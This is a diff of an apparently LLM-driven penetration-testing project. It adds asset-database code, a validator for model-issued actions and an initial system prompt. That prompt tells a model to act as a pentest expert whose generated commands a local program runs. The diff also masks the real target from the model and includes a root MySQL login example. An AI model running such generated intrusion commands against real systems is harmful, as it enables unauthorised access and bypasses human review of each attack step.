diff --git a/.idea/deployment.xml b/.idea/deployment.xml index 6f5d31a..e53daef 100644 --- a/.idea/deployment.xml +++ b/.idea/deployment.xml @@ -1,7 +1,14 @@ - + + + + + + + + diff --git a/.idea/misc.xml b/.idea/misc.xml index ec4fd51..f22b61c 100644 --- a/.idea/misc.xml +++ b/.idea/misc.xml @@ -1,4 +1,4 @@ - + \ No newline at end of file diff --git a/.idea/zf_safe.iml b/.idea/zf_safe.iml index 30b1a51..b279356 100644 --- a/.idea/zf_safe.iml +++ b/.idea/zf_safe.iml @@ -2,7 +2,7 @@ - + \ No newline at end of file diff --git a/mycode/AssetsManager.py b/mycode/AssetsManager.py new file mode 100644 index 0000000..7289cf8 --- /dev/null +++ b/mycode/AssetsManager.py @@ -0,0 +1,178 @@ +from mycode.DBManager import app_DBM + +class AssetsManager: + def __init__(self): + pass + + def __del__(self): + pass + + def get_IP_assets(self,IP,user,safe_rank): + ip_assets = [] + ip_assets = app_DBM.get_ip_assets_db(IP,user,safe_rank) + if not ip_assets: + ip_assets = [] + return ip_assets + + def get_IP_info(self,IP): + ip_info = app_DBM.get_ip_info_db(IP) + if not ip_info: + ip_info = [] + return ip_info + + def get_assets_users(self,uname): + assets_users = app_DBM.get_assets_users_db(uname) + if not assets_users: + assets_users = [] + return assets_users + + def update_assets_users(self,IP,owner_id,itype = 1): + return app_DBM.update_assets_users_db(IP,owner_id,itype) + + def get_port_latest(self,ip): + return app_DBM.get_port_latest_db(ip) + + def get_port_history(self,ip): + #拿ip_id + strsql = "select id,scan_count from ip_assets where ip_address = %s" + params = (ip,) + ip_data = app_DBM.safe_do_select(strsql,params,1) + ip_id = ip_data[0] + scan_count = ip_data[1] + # 1) 拿批次 + sql_batches = ''' + SELECT DISTINCT scan_count, scan_time + FROM port_assets + WHERE ip_id=%s + ORDER BY scan_count ASC; + ''' + batches = app_DBM.safe_do_select(sql_batches, (ip_id,)) + times = [row[1] for row in batches] + counts = [row[0] for row in batches] + if len(times) != scan_count: + print(f"*****数据批次有问题") + # 2) 拿所有端口数据 + sql_ports = ''' + SELECT port, service, version, status, scan_count + FROM port_assets + WHERE ip_id=%s + ORDER BY port ASC, scan_count ASC; + ''' + rows = app_DBM.safe_do_select(sql_ports, (ip_id,)) + # 3) 组织成: { port: { service, version, statuses: [...], changed: [...] } } + from collections import OrderedDict + port_dict = OrderedDict() + for port, service, version, status, sc in rows: + entry = port_dict.setdefault(port, { + 'service': [], + 'version': [], + 'statuses': [], + 'scancount': [], + 'changed': [] + }) + entry['service'].append(service) + entry['version'].append(version) + entry['statuses'].append(status) + entry['scancount'].append(sc) + # 4) 计算 changed 数组:与前一批次对比 + for port, info in port_dict.items(): + service = info['service'] + version = info['version'] + statuses = info['statuses'] + #scancount = info['scancount'] #执行次序不用对比 + changed = [] + for i in range(len(service)): + if i == 0: + changed.append(0) # 第一个批次,默认无变化 + else: + if service[i] != service[i-1] or version[i] != version[i-1] or statuses[i] != statuses[i-1]: + changed.append(1) + else: + changed.append(0) + info['changed'] = changed + return times,port_dict + + def get_ip_url_latest(self,ip): + return app_DBM.get_ip_url_latest_db(ip) + + def get_ip_url_history(self,ip): + return app_DBM.get_ip_url_history_db(ip) + + def get_vul_data(self,ip,nodeName,vulType,vulLevel): + # 先获取该IP最新的task_id + task_id = app_DBM.get_last_task_by_ip(ip) + if not task_id: + return [] + vuls = app_DBM.get_task_vul(task_id, nodeName, vulType, vulLevel) + return vuls + + def del_ip_assets(self,ip): + bsuccess,error = app_DBM.del_ip_assets(ip) + return bsuccess,error + + def get_url_assets(self,url,owner,email): + url_assets = app_DBM.get_url_assets_db(url,owner,email) + return url_assets + + def get_url_to_ip(self,url_id): + last_to_ips,his_to_ip = app_DBM.get_url_to_ip_db(url_id) + return last_to_ips,his_to_ip + + def del_url_assets(self,url_id): + bsuccess, error = app_DBM.del_url_assets_db(url_id) + return bsuccess, error + + def get_owners(self,owner, owner_type, contact, tellnum): + owner_list = [] + owner_list = app_DBM.get_owner_db(owner, owner_type, contact, tellnum) + return owner_list + + def add_update_owner(self,owner_data, do_mode): + ''' + :param owner_data: + :param do_mode: + :return: + ''' + id = owner_data["id"] + user = owner_data["user"] + type = owner_data["type"] + contact = owner_data["contact"] + phone = owner_data["phone"] + IDno = owner_data["IOno"] + if not user or not type or not contact or not phone or not IDno: + return False, "有信息没有填写,请补充完整!", [] + if do_mode =="add": + strsql = "select ID from assets_user where ID_num = %s" + params = (IDno,) + data = app_DBM.safe_do_select(strsql, params, 1) + if data: + return False, "证件号码已经存在,请重新修改", [] + + strsql = "insert into assets_user (itype,uname,tellnum,tell_username,ID_num) values (%s,%s,%s,%s,%s);" + params = (type,user,phone,contact,IDno) + bok,new_id = app_DBM.safe_do_sql(strsql,params,1) + elif do_mode == "edit": + strsql = "select ID from assets_user where ID_num = %s and ID <> %s" + params = (IDno,id) + data = app_DBM.safe_do_select(strsql, params, 1) + if data: + return False, "证件号码已经存在,请重新修改", [] + + strsql = "update assets_user set itype=%s,uname=%s,tellnum=%s,tell_username=%s,ID_num=%s where ID=%s;" + params = (type, user, phone, contact, IDno,id) + bok,_ = app_DBM.safe_do_sql(strsql,params) + else: + return False,"操作模式超出预期",[] + + if bok: + owner_list = app_DBM.get_owner_db("", "", "", "") + return True,"",owner_list + else: + return False, "数据库操作失败", [] + + def del_owner(self,id): + bsuccess,error = app_DBM.del_owner_db(id) + return bsuccess,error + + +g_AssetsM = AssetsManager() \ No newline at end of file diff --git a/mycode/AttackMap.py b/mycode/AttackMap.py index 31f9dda..0a2f8e9 100644 --- a/mycode/AttackMap.py +++ b/mycode/AttackMap.py @@ -378,11 +378,17 @@ class TreeNode: else: return False,"只有待执行时,允许删除指令" - def add_res(self,str_res): #llm_queue入库的情况比较多,2,0,4 + def add_res(self,str_res,itype =0): #llm_queue入库的情况比较多,2,0,4 if str_res: with self.work_status_lock: if self._work_status in (2,0,4): - self._llm_quere.append(str_res) + if itype == 1: #要插入到第一个 + tmplist = [] + tmplist.append(str_res) + tmplist.extend(self._llm_quere) + self._llm_quere = tmplist + else: + self._llm_quere.append(str_res) if self._work_status in (2,0): #提交中,不要改变执行状态 self._work_status =3 else: @@ -400,7 +406,7 @@ class TreeNode: return None def clear_res(self): - with self.llm_list_lock: + with self.work_status_lock: self._llm_quere.clear() #-----------web查看数据----------- diff --git a/mycode/CommandVerify.py b/mycode/CommandVerify.py index 0bd7cc8..9da7ad2 100644 --- a/mycode/CommandVerify.py +++ b/mycode/CommandVerify.py @@ -5,7 +5,7 @@ class CommandVerify: pass #验证节点指令的结构完整性--主要是判断JSON元素是否完整 - def verify_node_cmds(self,node_cmds): + def verify_node_cmds(self,json_datas): ''' - 新增节点:{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"}; - 未生成指令节点列表:{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"}; @@ -13,36 +13,85 @@ class CommandVerify: - 完成测试:{\"action\": \"end_work\", \"node\": \"节点\"}; ''' strerror = "" - for node_json in node_cmds: - if "action" not in node_json: - print(f"缺少action节点:{node_json}") - strerror = {"节点指令错误":f"{node_json}缺少action节点,不符合格式要求!"} + for json_data in json_datas: + if "action" not in json_data: + strerror = {"节点指令错误":f"{json_data}缺少action节点,不符合格式要求!"} break - - action = node_json["action"] - if action == "add_node": - if "parent" not in node_json or "nodes" not in node_json: - strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"} - break + action = json_data["action"] + if action == "dash" or action == "python": + required_keys = {"path", "content"} + elif action == "add_node": + required_keys = {"parent", "nodes"} elif action == "end_work": - if "node" not in node_json: - strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"} - break - elif action =="no_instruction": - if "nodes" not in node_json: - strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"} - break + required_keys = {"node"} elif action =="find_vul": - if "node" not in node_json or "vulnerability" not in node_json: - strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"} + required_keys = {"node","vulnerability","name","risk","info"} + elif action == "asset": + if "IPS" not in json_data or "URL" not in json_data: + strerror = {"JSON结果格式错误": f"{json_data}不符合格式要求,缺少节点!"} break + ips_json = json_data["IPS"] + url_json = json_data["URL"] + #URL信息检查 + if url_json: + required_keys = {"Domain", "Subdomains", "Registrant", "Email","Registrar","Creation_date", "Expiration_date"} + is_valid, missing = self.validate_json_keys(url_json, required_keys) + if not is_valid: + strerror = {"JSON结果格式错误": f"{url_json}缺少主键{missing}"} + break + #IP信息检查 + #[\"IP\":\"192.168.1.100\",\"IPtype\":\"IPv4/IPv6\",\"Ports\":[端口信息json]]} + #{\"Port\":\"端口号\",\"Service\":\"服务名称\",\"Version\":\"版本号\",\"Protocol\":\"TCP/UDP\",\"Status\":\"open/closed/filtered\"}; + for ip_json in ips_json: + required_keys = {"IP","IPtype","Ports"} + is_valid, missing = self.validate_json_keys(ip_json, required_keys) + if not is_valid: + strerror = {"JSON结果格式错误": f"{ip_json}缺少主键{missing}"} + break + #端口数据检查 + ports_json = ip_json["Ports"] + for port in ports_json: + required_keys = {"Port","Service","Version","Protocol","Status"} + is_valid,missing = self.validate_json_keys(port,required_keys) + if not is_valid: + strerror = {"JSON结果格式错误": f"{port}缺少主键{missing}"} + break + continue else: - strerror = {"节点指令错误": f"{node_json}不可识别的action值!"} + strerror = {"节点指令错误": f"{json_data}含有不可识别的action值!"} + break + + is_valid, missing = self.validate_json_keys(json_data, required_keys) + if not is_valid: + strerror = {"JSON结果格式错误": f"{json_data}缺少主键{missing}"} break if not strerror: return True,strerror return False,strerror + #验证JSON关键字是否缺失 + def validate_json_keys(self,json_obj, required_keys): + """ + 校验JSON对象是否包含所有必需的键。 + + Args: + json_obj (dict): 要校验的JSON对象。 + required_keys (set): 必需键的集合。 + + Returns: + tuple: (bool, list) - 表示是否所有键都存在的布尔值,以及缺失键的列表(如果都存在则为空)。 + """ + if not isinstance(json_obj, dict): + return False, ["JSON对象必须是字典类型"] + + json_keys = set(json_obj.keys()) + missing_keys = required_keys - json_keys + + if missing_keys: + return False, list(missing_keys) + else: + return True, [] + # 验证节点数据的合规性 def verify_node_data(self,node_cmds): add_nodes = [] diff --git a/mycode/DBManager.py b/mycode/DBManager.py index 3dae751..cc2cfca 100644 --- a/mycode/DBManager.py +++ b/mycode/DBManager.py @@ -16,6 +16,7 @@ class DBManager: self.logger = LogHandler().get_logger("DBManager") self.lock = threading.Lock() self.itype = myCongif.get_data("DBType") + self.COLUMN_LIMITS = {} #各个表字段长度信息 self.ok = False if self.itype ==0: self.host = myCongif.get_data('mysql.host') @@ -39,6 +40,49 @@ class DBManager: self.connection = None self.logger.debug("DBManager销毁") + def get_column_limits(self): + '''连接成功后,统一读取数据库字段列长度设定''' + tables = ['assets_user','ip_assets','ip_to_url','port_assets','task','task_llm','task_result','task_vul','url_assets','user','zf_system'] + for table in tables: + table_limit = {} + strsql = f''' +SELECT COLUMN_NAME, CHARACTER_MAXIMUM_LENGTH + FROM information_schema.columns + WHERE table_schema = 'your_db' + AND table_name = '{table}'; + ''' + datas = self.do_select(strsql) + for data in datas: + if data[1]: + table_limit[f"{str(data[0])}"] = data[1] + self.COLUMN_LIMITS[f"{table}"] = table_limit + + def trim_fields(self,table: str, data: dict, logger) -> dict: + """ + 按 COLUMN_LIMITS 截断过长的 varchar/text 字段。 + :param table: 表名 + :param data : 待插入/更新的字段 dict + :return : 新 dict(已截断) + """ + limits = self.COLUMN_LIMITS.get(table, {}) + trimmed = {} + + for col, val in data.items(): + if val is None or col not in limits: + trimmed[col] = val + continue + + max_len = limits[col] + # 只处理 str 类型 + if isinstance(val, str) and len(val) > max_len: + self.logger.debug( + f"{table}.{col} 超长:{len(val)} > {max_len},已截断" + ) + trimmed[col] = val[:max_len] + else: + trimmed[col] = val + return trimmed + def connect(self): try: if self.itype ==0: @@ -48,6 +92,7 @@ class DBManager: self.connection = sqlite3.connect(self.dbfile) self.ok = True self.logger.debug("服务器端数据库连接成功") + #self.get_column_limits() return True except: self.logger.error("服务器端数据库连接失败") @@ -103,23 +148,36 @@ class DBManager: self.lock.release() return bok - def safe_do_sql(self,strsql,params,itype=0): + def safe_do_sql(self,strsql,params,itype=0,table=None,field_names=None): + """ + table : 目标表名(若要自动截断必须填) + field_names : 与 params 顺序对应的列名列表 + """ + if table and field_names: + data_map = dict(zip(field_names, params)) + data_map = self.trim_fields(table, data_map, self.logger) + params = tuple(data_map[col] for col in field_names) + bok = False - task_id = 0 + do_id = 0 self.lock.acquire() if self.Retest_conn(): try: with self.connection.cursor() as cursor: cursor.execute(strsql, params) self.connection.commit() - if itype ==1: #只有插入task任务数据的时候是1 - task_id = cursor.lastrowid + if itype ==1: #取insert 的自增id + do_id = cursor.lastrowid + elif itype ==2: #取删除的id,需要添加RETURNING id; + row = cursor.fetchone() + if row: + do_id = row[0] bok = True except Exception as e: self.logger.error("执行数据库语句%s出错:%s" % (strsql, str(e))) self.connection.rollback() self.lock.release() - return bok,task_id + return bok,do_id def safe_do_select(self,strsql,params,itype=0): results = [] @@ -134,7 +192,7 @@ class DBManager: elif itype ==1: results = cursor.fetchone() #获得一条记录 except Exception as e: - print(f"查询出错: {e}") + print(f"查询出错: {e}--\n{strsql}") self.lock.release() return results @@ -181,8 +239,9 @@ class DBManager: return task_id def over_task(self,task_id): - strsql = "update task set task_status=2 where ID=%s;" - params = (task_id) + over_time = get_local_timestr() + strsql = "update task set task_status=2,end_time=%s where ID=%s;" + params = (over_time,task_id) bok,_ = self.safe_do_sql(strsql, params) return bok @@ -372,7 +431,7 @@ class DBManager: params.append(start_time_str) if end_time and end_time.strip(): # 检查vullevel是否非空 - conditions.append("end_time < %s") + conditions.append("start_time < %s") # 将输入字符串转为日期对象 end_date = datetime.strptime(end_time, "%Y-%m-%d") # 生成结束时间字符串(次日 00:00:00) @@ -382,6 +441,7 @@ class DBManager: # 组合完整的WHERE子句 if len(conditions) > 0: strsql += " WHERE " + " AND ".join(conditions) + strsql += " order by start_time DESC" # 执行查询(将参数转为元组) datas = self.safe_do_select(strsql, tuple(params)) @@ -404,6 +464,408 @@ class DBManager: data = self.safe_do_select(strsql,params,1) return data[0] + #------------------资产表相关---------------------- + def add_or_update_URL_asset(self,Domain,Subdomains,Registrant,Email,Creation_date,Expiration_date,Registrar): + strsql = "select ID from url_assets where URL= %s" + params = (Domain) + data = self.safe_do_select(strsql,params,1) + do_time = get_local_timestr() + if Subdomains: + strSubdomains = ','.join(Subdomains) + else: + strSubdomains = "" + if not data:#没有数据则新增 + strsql = "insert into url_assets (registrar,creation_date,expiration_date,emails,create_time,update_time,URL,subdomains,Registrant) " \ + "values (%s,%s,%s,%s,%s,%s,%s,%s,%s)" + params =(Registrar,Creation_date,Expiration_date,Email,do_time,do_time,Domain,strSubdomains,Registrant) + bok,url_id = self.safe_do_sql(strsql,params,1) + else:#有值则修改 + url_id = data[0] + strsql = "update url_assets set registrar=%s,Registrant=%s,creation_date=%s,expiration_date=%s,emails=%s,update_time=%s," \ + "subdomains=%s where ID = %s;" + params = (Registrar,Registrant,Creation_date,Expiration_date,Email,do_time,strSubdomains,url_id) + bok,_ = self.safe_do_sql(strsql,params) + #维护历史记录 --由数据库触发器维护 + return url_id + + def add_or_update_IP_asset(self,IP,ip_type): + #return ip_id scan_count + strsql = "select id,scan_count from ip_assets where ip_address = %s;" + params = (IP) + data = self.safe_do_select(strsql,params,1) + if data: + return data[0],data[1] + #IP没有则新建入库 + ip_id = 0 + start_time = get_local_timestr() + sql = "INSERT INTO ip_assets (ip_address,ip_version,created_time,scan_count) VALUES (%s,%s,%s,%s);" + params = (IP, ip_type, start_time,0) + bok, ip_id = self.safe_do_sql(sql, params, 1) + return ip_id,0 + + #将task_id 和ip资产进行关联 + def add_task_to_ip(self,task_id,ip_id): + strsql = "INSERT INTO task_to_ip (task_id,ip_id) VALUES (%s,%s);" + params = (task_id,ip_id) + bok,_ = self.safe_do_sql(strsql,params) + return bok + + def update_port(self,ip_id,scan_count,Prots): + update_time = get_local_timestr() + scan_count += 1 + strsql = "update ip_assets set update_time = %s,scan_count = %s where id=%s" + params = (update_time,scan_count,ip_id) + bok,_ = self.safe_do_sql(strsql,params) + if bok: + #最新的port数据入库 {\"Protocol\":\"TCP/UDP\",\"Status\":\"open/closed/filtered\"}; + for port in Prots: + p_num = port["Port"] + service = port["Service"] + version = port["Version"] + protocol = port["Protocol"] + status = port["Status"] + strsql = "insert into port_assets (port,service,version,status,ip_id,scan_count,scan_time,Protocol) " \ + "values (%s,%s,%s,%s,%s,%s,%s,%s)" + params = (p_num,service,version,status,ip_id,scan_count,update_time,protocol) + bok,_ = self.safe_do_sql(strsql,params) + return bok + + def update_url_to_ip(self,url_id,ips): + strsql = "select ip_id from ip_to_url where url_id = %s" + params = (url_id) + datas = self.safe_do_select(strsql,params) + old_ips = [] + for data in datas: + old_ips.append(data[0]) + only_in_old = list(set(old_ips) - set(ips)) #适合不重复,不关心顺序的情况 + only_in_new = list(set(ips) - set(old_ips)) + do_time = get_local_timestr() + if only_in_old:#新的关联中没有,老的有,就是删除了 + placeholders = ",".join(["(%s,%s,%s)"] * len(only_in_old)) + sql = f""" + INSERT INTO ip_to_url_his (ip_id, url_id, del_time) + VALUES {placeholders} + """ + # 扁平化参数列表 + params: list = [] + for ip in only_in_old: + params += [ip, url_id, do_time] + # 一次性执行 + bok, _ = self.safe_do_sql(sql, tuple(params)) + if not bok: + raise RuntimeError("批量插入 ip_to_url_his 失败") + #老表中删除记录---待验证 + strsql = ''' + delete from ip_to_url where url_id=%s and ip_id in (%s) + ''' + del_ips = ','.join([str(x) for x in only_in_old]) + params = (url_id,del_ips) + bok,_ = self.safe_do_sql(strsql,params) + if not bok: + raise RuntimeError("批量删除 ip_to_url 失败") + + if only_in_new:#新的有,老的没有就是新增。 + placeholders = ",".join(["(%s,%s,%s)"] * len(only_in_new)) + sql = f""" + INSERT INTO ip_to_url (ip_id, url_id, create_time) + VALUES {placeholders} + """ + # 扁平化参数列表 + params: list = [] + for ip in only_in_new: + params += [ip, url_id, do_time] + # 一次性执行 + bok, _ = self.safe_do_sql(sql, tuple(params)) + if not bok: + raise RuntimeError("批量插入 ip_to_url 失败") + + def get_ip_assets_db(self,IP,user,risk_rank): + strsql = ''' +SELECT + ia.ip_address, + au.uname, + ia.risk_rank, + ia.update_time, + COALESCE(p.port_cnt ,0) AS port_total, + COALESCE(u.url_cnt ,0) AS url_total +FROM ip_assets AS ia +LEFT JOIN assets_user AS au ON ia.owner_id = au.ID +/* 端口数量 */ +LEFT JOIN ( + SELECT ip_id,scan_count,COUNT(*) AS port_cnt + FROM port_assets + GROUP BY ip_id,scan_count +) AS p ON p.ip_id = ia.id and p.scan_count=ia.scan_count +/* URL 数量 */ +LEFT JOIN ( + SELECT ip_id, COUNT(*) AS url_cnt + FROM ip_to_url + GROUP BY ip_id +) AS u ON u.ip_id = ia.id +WHERE + (%s IS NULL OR ia.ip_address LIKE %s) + AND (%s IS NULL OR au.uname LIKE %s) + AND (%s IS NULL OR ia.risk_rank = %s); +''' + # 构造参数 + ip_like = f"%{IP}%" if IP else None + user_like = f"%{user}%" if user else None + rk = risk_rank + + params = ( + ip_like, ip_like, + user_like, user_like, + rk, rk, + ) + # cursor.execute(sql, params) + # rows = cursor.fetchall() + datas = self.safe_do_select(strsql,params) + return datas + + def get_ip_info_db(self,IP): + strsql = ''' +select au.ID,au.tellnum,au.tell_username from assets_user as au +left join ip_assets as ai on ai.owner_id = au.ID +where ai.ip_address = %s; + ''' + params = (IP) + data = self.safe_do_select(strsql,params,1) + return data + + def get_assets_users_db(self,uname): + if uname: + strsql = "select ID,uname,tellnum,tell_username from assets_user where uname like %s;" + params = (f'%{uname}%') + datas = self.safe_do_select(strsql,params) + else: + strsql = "select ID,uname,tellnum,tell_username from assets_user;" + datas = self.do_select(strsql) + return datas + + def update_assets_users_db(self,IP,owner_id,itype): + if itype ==1: + strsql = ''' + update ip_assets set owner_id = %s where ip_address = %s; + ''' + else: + strsql = ''' + update url_assets set owner_id = %s where ID = %s; + ''' + params = (owner_id,IP) + bok,_ = self.safe_do_sql(strsql,params) + error = "" + if not bok: + error = "修改资产所属用户失败" + return bok,error + + def get_port_latest_db(self,ip): + strsql = ''' + select po.port,po.service,po.version,po.status from port_assets as po + left join ip_assets as ip + on ip.id = po.ip_id and ip.scan_count = po.scan_count + where ip.ip_address = %s + ''' + params = (ip) + datas = self.safe_do_select(strsql,params) + return datas + + def get_ip_url_latest_db(self,ip): + strsql = ''' + select url.URL,url.subdomains,url.registrar,url.emails,url.creation_date,url.expiration_date from url_assets as url + left join ip_to_url as i2u on i2u.url_id = url.ID + left join ip_assets as ip on ip.id = i2u.ip_id + where ip_address = %s; + ''' + params = (ip) + datas = self.safe_do_select(strsql,params) + return datas + + def get_ip_url_history_db(self,ip): + #先把ip_id获取到 + strsql = "select id from ip_assets where ip_address=%s;" + params = (ip,) + data = self.safe_do_select(strsql,params,1) + if not data: + return None + ip_id = data[0] + + strsql = ''' + select url.URL,i2u.create_time as time,'add' as type from ip_to_url as i2u + left join url_assets as url on url.ID = i2u.url_id + where ip_id=%s + union all + select url.URL,i2u_his.del_time as time,'del' as type from ip_to_url_his as i2u_his + left join url_assets as url on url.ID = i2u_his.url_id + where ip_id=%s + order by time DESC; + ''' + params =(ip_id,ip_id) + datas = self.safe_do_select(strsql,params) + return datas + + def del_url_assets_db(self,url_id): + #url assets + strsql ="delete from url_assets where ID=%s;" + params = (url_id,) + bok,_ = self.safe_do_sql(strsql,params) + #url_assets_his + strsql = "delete from url_assets_his where url_id=%s;" + bok, _ = self.safe_do_sql(strsql, params) + #ip_to_url + strsql = "delete from ip_to_url where url_id = %s;" + bok, _ = self.safe_do_sql(strsql, params) + #ip_to_url_his + strsql = "delete from ip_to_url_his where url_id = %s;" + bok, _ = self.safe_do_sql(strsql, params) + return True,"删除URL资产成功" + + def get_last_task_by_ip(self,ip): + #寻找该IP最新完成的任务 + strsql = ''' + SELECT t.ID AS latest_task_id,t.start_time + FROM ip_assets AS ia + JOIN task_to_ip AS ti ON ia.id = ti.ip_id + JOIN task AS t ON ti.task_id = t.ID + WHERE ia.ip_address = %s + ORDER BY t.start_time DESC + LIMIT 1; + ''' + params = (ip,) + data = self.safe_do_select(strsql ,params,1) + if data: + return data[0] + else: + return None + + def del_ip_assets(self,ip): + #删除IP资产 -- 资产库中跟该资产相关的数据都需要删除,return bok,error + bok = False + # ip_assets + sql = """ + DELETE FROM ip_assets + WHERE ip_address = %s + RETURNING id; + """ + params = (ip,) + bok,ip_id= self.safe_do_sql(sql,params,2) + if ip_id: + #task_to_ip + strsql = "delete from task_to_ip where ip_id = %s;" + bok,_ = self.safe_do_sql(strsql,params) + #ip_to_url + strsql = "delete from ip_to_url where ip_id = %s;" + bok, _ = self.safe_do_sql(strsql, params) + #ip_to_url_his + strsql = "delete from ip_to_url_his where ip_id = %s;" + bok, _ = self.safe_do_sql(strsql, params) + #port_assets + strsql = "delete from port_assets where ip_id = %s;" + bok, _ = self.safe_do_sql(strsql, params) + return True,"删除成功" + + def get_url_assets_db(self,url,owner,email): + url_assets = [] + strsql = ''' +select url.ID,url.URL,au.uname,url.emails,url.update_time,url.expiration_date,ip.ip_count,url.Registrant,au.tellnum,au.tell_username,au.ID from url_assets as url +left join assets_user as au on au.ID = url.owner_id +left join (select url_id,count(*) as ip_count from ip_to_url group by url_id) as ip on url.ID = ip.url_id + ''' + conditions = [] + params = [] + if url and url.strip(): + conditions.append("url.URL like %s") + params.append(f"%{url}%") + if owner and owner.strip(): + conditions.append("au.uname like %s") + params.append(f"%{owner}%") + if email and email.strip(): + conditions.append("url.emails like %s") + params.append(f"%{email}%") + if len(conditions) > 0: + strsql += " WHERE " + " AND ".join(conditions) + # 执行查询(将参数转为元组) + url_assets = self.safe_do_select(strsql, tuple(params)) + return url_assets + + def get_url_to_ip_db(self,url_id): + strsql = ''' +select ia.ip_address,itu.create_time from ip_assets ia +left join ip_to_url itu on itu.ip_id = ia.id +where itu.url_id = %s; + ''' + params = (url_id,) + last_to_ips = self.safe_do_select(strsql,params) + strsql = ''' + select ia.ip_address,itu.del_time from ip_assets ia + left join ip_to_url_his itu on itu.ip_id = ia.id + where itu.url_id = %s; + ''' + params = (url_id,) + his_to_ips = self.safe_do_select(strsql, params) + return last_to_ips,his_to_ips + + def get_owner_db(self,owner, owner_type, contact, tellnum): + strsql = ''' +SELECT + u.ID, + u.itype, + u.uname, + u.tellnum, + u.tell_username, + u.ID_num, + IFNULL(ip.ip_count, 0) AS ip_count, + IFNULL(url.url_count, 0) AS url_count, + IFNULL(ip.ip_count, 0) + IFNULL(url.url_count, 0) AS total_assets +FROM assets_user u +LEFT JOIN ( + SELECT owner_id, COUNT(*) AS ip_count + FROM ip_assets + GROUP BY owner_id +) ip ON u.ID = ip.owner_id +LEFT JOIN ( + SELECT owner_id, COUNT(*) AS url_count + FROM url_assets + GROUP BY owner_id +) url ON u.ID = url.owner_id + + ''' + conditions = [] + params = [] + # 按需添加其他条件 + if owner and owner.strip(): + conditions.append("uname like %s") + params.append(f"%{owner}%") + + if owner_type and owner_type.strip(): + conditions.append("itype=%s") + params.append(owner_type) + + if contact and contact.strip(): + conditions.append("tell_username like %s") + params.append(f"%{contact}%") + + if tellnum and tellnum.strip(): + conditions.append("tellnum like %s") + params.append(f"%{tellnum}%") + + # 组合完整的WHERE子句 + if len(conditions) > 0: + strsql += " WHERE " + " AND ".join(conditions) + + # 执行查询(将参数转为元组) + datas = self.safe_do_select(strsql, tuple(params)) + return datas + + def del_owner_db(self,id): + strsql = "delete from assets_user where ID=%s;" + params = (id,) + bok,_ = self.safe_do_sql(strsql,params) + #删除IP和URL与owner的关系 + strsql = "update ip_assets set owner_id = 0 where owner_id = %s;" + bok,_ = self.safe_do_sql(strsql,params) + strsql = "update url_assets set owner_id = 0 where owner_id = %s;" + bok, _ = self.safe_do_sql(strsql, params) + return True,"" def test(self): # 建立数据库连接 @@ -438,6 +900,9 @@ app_DBM = DBManager() app_DBM.connect() if __name__ == "__main__": - mDBM = DBManager() - mDBM.connect() - print(mDBM.start_task("11","22")) \ No newline at end of file + # mDBM = DBManager() + # mDBM.connect() + # print(mDBM.start_task("11","22")) + list_a = ['1','2','3','4','5','6'] + str_a = ','.join(list_a) + print(str_a) \ No newline at end of file diff --git a/mycode/DataFilterManager.py b/mycode/DataFilterManager.py index 47f36f0..532d857 100644 --- a/mycode/DataFilterManager.py +++ b/mycode/DataFilterManager.py @@ -1,19 +1,41 @@ +import tldextract + class DataFilterManager: def __init__(self,target,fake_target): self.real_target = target + self.real_domain = "" self.fake_target = fake_target + self.init_DataFilter() + + def init_DataFilter(self): + if self.fake_target == "czzfkjxx": + try: + extracted = tldextract.extract(self.real_target) + self.real_domain = extracted.domain + except Exception as e: + print(f"{self.real_target}不合法!") def filter_prompt(self,prompt): - fake_prompt = prompt.replace(self.real_target,self.fake_target) + if self.real_domain: + fake_prompt = prompt.replace(self.real_domain, self.fake_target) + else: + fake_prompt = prompt.replace(self.real_target,self.fake_target) return fake_prompt def filter_instruction(self,instruction): - real_instruction = instruction.replace(self.fake_target,self.real_target) + if self.real_domain: + real_instruction = instruction.replace(self.fake_target,self.real_domain) + else: + real_instruction = instruction.replace(self.fake_target, self.real_target) return real_instruction def filter_result(self,instr,result): - fake_instr = instr.replace(self.real_target,self.fake_target) - fake_result = result.replace(self.real_target,self.fake_target) + if self.real_domain: + fake_instr = instr.replace(self.real_domain, self.fake_target) + fake_result = result.replace(self.real_domain, self.fake_target) + else: + fake_instr = instr.replace(self.real_target,self.fake_target) + fake_result = result.replace(self.real_target,self.fake_target) return fake_instr,fake_result diff --git a/mycode/LLMManager.py b/mycode/LLMManager.py index 315f159..0f15368 100644 --- a/mycode/LLMManager.py +++ b/mycode/LLMManager.py @@ -13,6 +13,7 @@ from myutils.ConfigManager import myCongif from myutils.MyTime import get_local_timestr from myutils.MyLogger_logger import LogHandler from myutils.ContentManager import ContentManager +from mycode.CommandVerify import g_CV class LLMManager: def __init__(self,illm_type): @@ -59,8 +60,9 @@ class LLMManager: - 仅在发现新信息或漏洞时新增子节点。 - 确保每个新增节点匹配测试指令。 ''' + # 初始化messages - def build_initial_prompt(self,node): + def build_initial_prompt(self,node,itype): if not node: return #根节点初始化message----后续有可能需要为每个LLM生成不同的system msg @@ -98,22 +100,85 @@ class LLMManager: ```dash-[目标系统->192.168.1.100->3306端口] mysql -u root -p 192.168.1.100 ``` +'''}] # 一个messages + + #---2025-5-15分阶段方案--- + def build_init_info_prompt(self,node): + if not node: + return + # 根节点初始化message----后续有可能需要为每个LLM生成不同的system msg + node.parent_messages = [{"role": "system","content": ''' +你是一位资深的渗透测试专家,现在由你来指导针对一个目标的渗透测试工作,需要生成具体的指令交给本地程序执行,再根据本地程序提交的执行结果,规划下一步指令,直至全面完成渗透测试。当前为信息收集阶段。 +**总体要求** +1.请针对测试目标生成信息收集的测试指令,不能包含注释和说明,严格遵守格式要求,不要有无关的前缀后缀等内容; +2.每条指令必须有独特且明确的目的,避免功能重复或范围重叠,可以是dash指令或python指令; +3.收集的信息包括:域名的相关信息,IP地址信息,对应端口的相关信息等,参考**JSON结果格式**中的内容,不需要额外采集其它信息; +4.若目标是URL,除获取域名相关信息外,还需要获取域名指向的IP,再进一步解析获取这些IP的Por信息; +5.若目标是IP,则无需尝试获取对应的URL信息,只需解析获取该IP的Port信息; +6.完成URL和IP端口信息的收集后,请按照格式要求封装结果信息,并检查无遗漏无重复后,再返回; 